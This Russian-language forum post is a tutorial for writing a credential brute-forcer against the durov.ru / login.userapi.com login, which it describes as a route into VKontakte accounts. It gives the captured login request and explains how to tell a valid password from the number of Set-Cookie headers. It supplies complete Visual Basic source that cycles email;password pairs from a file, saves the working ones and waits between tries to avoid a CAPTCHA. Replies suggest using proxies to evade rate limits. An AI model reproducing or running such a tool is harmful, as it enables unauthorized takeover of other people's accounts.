В этой статье объясню как написать простой одно поточный брут для соц. сети дуров.ру всё что будет делать программа это отправлять и принимать HTTP заголовки Вы наверно спросите почему брут именно для этой соц. сети ? потому что брут для этой соц. сети написать намного легче чем для "Вконтакте". Вы наверно сказали ламер и т.п. не может написать такой простой брут, просто не охота писать парсер и делать запрос к разным хостом для того что бы узнать подходить или нет пароль к мылу... А на сайт userapi.ru есть ссылка именно на эту соц. сеть и подписано: это значит если сбрутишь на этой соц сети акк значит для Вконтакте он должен подайти ну или хотя бы брутить базу для Вконтакте легче будет Передавать и принимать информацию мы будем через сокеты. Для начала рассмотрим получаемые заголовки от сервера авторизации: HTTP заголовок отправляемый нами: Код: POST /auth HTTP/1.1 Host: login.userapi.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ru,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://durov.ru/login.html Content-Type: application/x-www-form-urlencoded Content-Length: 78 site=2&id=0&fccode=0&fcsid=0&login=force&email=admin@mail.ru&pass=123456 нас интересует две последние строки: 1я строка: содержит число символов второй а точнее длину последний строки в заголовке 2я строка: информация которую мы передаём, нас интересует только два последних значения этой строки Код: email=admin@mail.ru&pass=123456 Они разделяються знаком & admin@mail.ru - мыло по которому логинимся 123456 - пароль акку Теперь рассмотрим HTTP заголовки которые могут прийти HTTP заголовок в случае не удачи: Код: HTTP/1.1 302 Found Server: nginx/0.7.59 Date: Wed, 04 Nov 2009 16:26:25 GMT Content-Type: text/html; charset=windows-1251 Connection: keep-alive X-Powered-By: PHP/5.2.6-1+lenny3 Pragma: no-cache Cache-control: no-store Set-Cookie: remixchk=5; expires=Sat, 06-Nov-2010 02:23:11 GMT; path=/; domain=.vkontakte.ru Location: http://durov.ru/index.html#0;sid=-4 Content-Encoding: gzip Vary: Accept-Encoding Content-Length: 26 HTTP заголовок в случае удачи: Код: HTTP/1.1 302 Found Server: nginx/0.7.59 Date: Wed, 04 Nov 2009 16:27:23 GMT Content-Type: text/html; charset=windows-1251 Connection: keep-alive X-Powered-By: PHP/5.2.6-1+lenny3 Pragma: no-cache Cache-control: no-store Set-Cookie: remixchk=5; expires=Sat, 06-Nov-2010 00:34:51 GMT; path=/; domain=.vkontakte.ru Set-Cookie: remixmid=15787657; expires=Sat, 30-Oct-2010 11:35:59 GMT; path=/; domain=login.userapi.com Set-Cookie: remixpassword=1759afc30f8b98cf89f96f462f1e206574389687769504323cb19704447c9c; expires=Wed, 10-Nov-2010 16:37:07 GMT; path=/; domain=login.userapi.com Location: http://durov.ru/index.html#0;sid=76a0169724d9d834648abafa9dbc81a6 Content-Encoding: gzip Vary: Accept-Encoding Content-Length: 26 Если вы заметили то он отличаются кол-ом строк Set-Cookie они хранят куки. если не удача то сервер присылает 1 куки, если удача то 3 куки. Это значит если логин не удался то в HTTP заголовке Set-Cookie встретится один раз а если логин удался то Set-Cookie встретится три раза! Теперь перейдём реализации: Как будет выглядит папка программы: Код: | ----brule.exe | ----src.txt | ----good.txt brule.exe - сам брут src.txt - текстовик в котором будут записи типа email;pass good.txt - текстовик в которой будут сохраняться удачные акки Теперь начнем кодить! Создаём новый проект, выставляем сокет который есть в исходника, добавляем 6 леблов, один таймер, 4 кнопки и два текстбокса. Скрин Таймер выключаем, переименовываем в Tsleep и ставим интервал в 30000 мс, текстбоксам выставляем мультилайн и скролы и пишем следующий код: Код: Dim Akk() As MAILPASS Dim sCount, sCurrent As Long Dim ItS As String Private Type MAILPASS mail As String pass As String End Type Dim Good, Bad As String Dim Status As Boolean Private Sub Command1_Click() Command1.Enabled = False Command3.Enabled = True Status = True textadd "Load src.txx" Loadtxt End Sub Private Sub Command2_Click() T1.CloseConnection Status = False Command1.Enabled = True Command3.Enabled = False Command4.Enabled = False ItS = 1 sCount = 0 sCurrent = 0 Text1.Text = "" Text2.Text = "" Good = 0 Bad = 0 Close #77 End Sub Private Sub Command3_Click() Status = False Brut_stop Command4.Enabled = True Command3.Enabled = False End Sub Private Sub Command4_Click() Status = True Brut_start Command4.Enabled = False Command3.Enabled = True End Sub Private Sub Form_Load() Status = False ItS = 0 Good = 0 Bad = 0 End Sub Private Sub T1_Connected(IP As String, port As Long) Dim buff As String If ItS = sCount Then Brut_end Exit Sub End If ItS = ItS + 1 buff = "site=2&id=0&fccode=0&fcsid=0&login=force&email=" & Akk(ItS).mail & "&pass=" & Akk(ItS).pass T1.SendData "POST /auth HTTP/1.1" & vbCrLf T1.SendData "Host: login.userapi.com" & vbCrLf T1.SendData "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729)" & vbCrLf T1.SendData "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" & vbCrLf T1.SendData "Accept-Language: ru,en-us;q=0.7,en;q=0.3" & vbCrLf T1.SendData "Accept-Encoding: gzip,deflate" & vbCrLf T1.SendData "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7" & vbCrLf T1.SendData "Keep-Alive: 300" & vbCrLf T1.SendData "Connection: keep-alive" & vbCrLf T1.SendData "Referer: http://durov.ru/login.html" & vbCrLf T1.SendData "Content-Type: application/x-www-form-urlencoded" & vbCrLf T1.SendData "Content-Length: " & Len(buff) & vbCrLf & vbCrLf T1.SendData buff & vbCrLf End Sub Private Sub T1_DataArrival(Data As String) Dim kol, buff, ST, re As String ST = 1 Text2.Text = Data 1 re = InStr(ST, Data, "Set-Cookie") If re > 0 Then kol = kol + 1 ST = re + 1 GoTo 1 End If If kol = 1 Then Bad = Bad + 1 Label4.Caption = Bad textadd Akk(ItS).mail & ";" & Akk(ItS).pass & " - bad" & vbCrLf & "Sleep 30000" Tsleep.Enabled = True ElseIf kol = 3 Then Good = Good + 1 Label2.Caption = Good Print #77, Akk(ItS).mail & ";" & Akk(ItS).pass textadd Akk(ItS).mail & ";" & Akk(ItS).pass & " - good" & vbCrLf & "Sleep 30000" Tsleep.Enabled = True End If End Sub Private Sub Text1_Change() Text1.SelStart = Len(Text1.Text) Text1.SelText = NewText$ End Sub Private Function getmail(Data As String) As String Dim R As Integer R = InStr(1, Data, ";") getmail = Mid$(Data, 1, R - 1) End Function Private Function getpass(Data As String) As String Dim R As Integer R = InStr(1, Data, ";") getpass = Mid$(Data, R + 1, Len(Data) - R) End Function Private Sub Brut_start() If Status = False Then Brut_stop End If textadd "Connect..." T1.Connect "login.userapi.com", 80 End Sub Private Sub Brut_stop() T1.CloseConnection textadd "Stop" Tsleep.Enabled = False End Sub Private Sub Brut_end() T1.CloseConnection textadd "END!!!" Command3.Enabled = False Command4.Enabled = False Text2.Text = "" Close #77 End Sub Private Sub Loadtxt() Dim msg Dim buff As String ' проверяем существует ли файл src.txt If Dir(App.Path & "\src.txt") = "" Then msg = MsgBox("The file " & App.Path & "\src.txt - is not found", vbCritical, "Error!") End End If Open App.Path & "\src.txt" For Input As #3 sCount = 0 Do If EOF(3) Then GoTo 10 Line Input #3, buff If buff <> "" Then sCount = sCount + 1 Loop Until EOF(3) 10 Close #3 If sCount > 0 Then ReDim Akk(1 To sCount) As MAILPASS i = 0 Open App.Path & "\src.txt" For Input As #3 Do Line Input #3, buff If buff <> "" Then i = i + 1 Akk(i).mail = getmail(buff) Akk(i).pass = getpass(buff) End If Loop Until EOF(3) Close #3 Else msg = MsgBox("It is not found any record of type mail;pass", vbCritical, "Error!") End Exit Sub End If Label6.Caption = sCount Open App.Path & "\good.txt" For Append As #77 Brut_start End Sub Function textadd(Data As String) Text1.Text = Text1.Text & Data & vbCrLf End Function Private Sub Tsleep_Timer() Tsleep.Enabled = False Brut_start End Sub Принцип работы брута: Брут конектится к серваку, отправляет HTTP заголовок с мылом и паролем, когда приходит ответ отключается и начинает считать сколько раз слово Set-Cookie встретится в ответе. Если 1 раз то неудача и пишеб Bad, если 3 раза то удача и пишем Good потом ждём 10 секунд иначе ни как. Если слишком часто обращаться к серваку то он заставит вводить капчу. после 10 секунд повторяем процедуру и так пока вы не остановите брут или пока не закончится список В программе возможны ошибки т.к. детально не тестировал но главное работает! Скачать исходники
если не часто обращаться то да, и не сам Вконтакте а соц. сеть durov.ru а если использовать прокси то это просто замечательно
lytgeygen не подскажешь, почему, когда я отправляю HTTP заголовки для других сайтов, мне приходит в ответ кусок html кода.
VladiGG, А что должно приходить ещё ? Почитай http://ru.wikipedia.org/wiki/HTTP Добавлено через 3 минуты И ещё, после подключения когда сервер пришлет тебе первый пакет нужно сразуже закрывать соединение иначе сокет так и будет принимать куски html кода и будут ошибки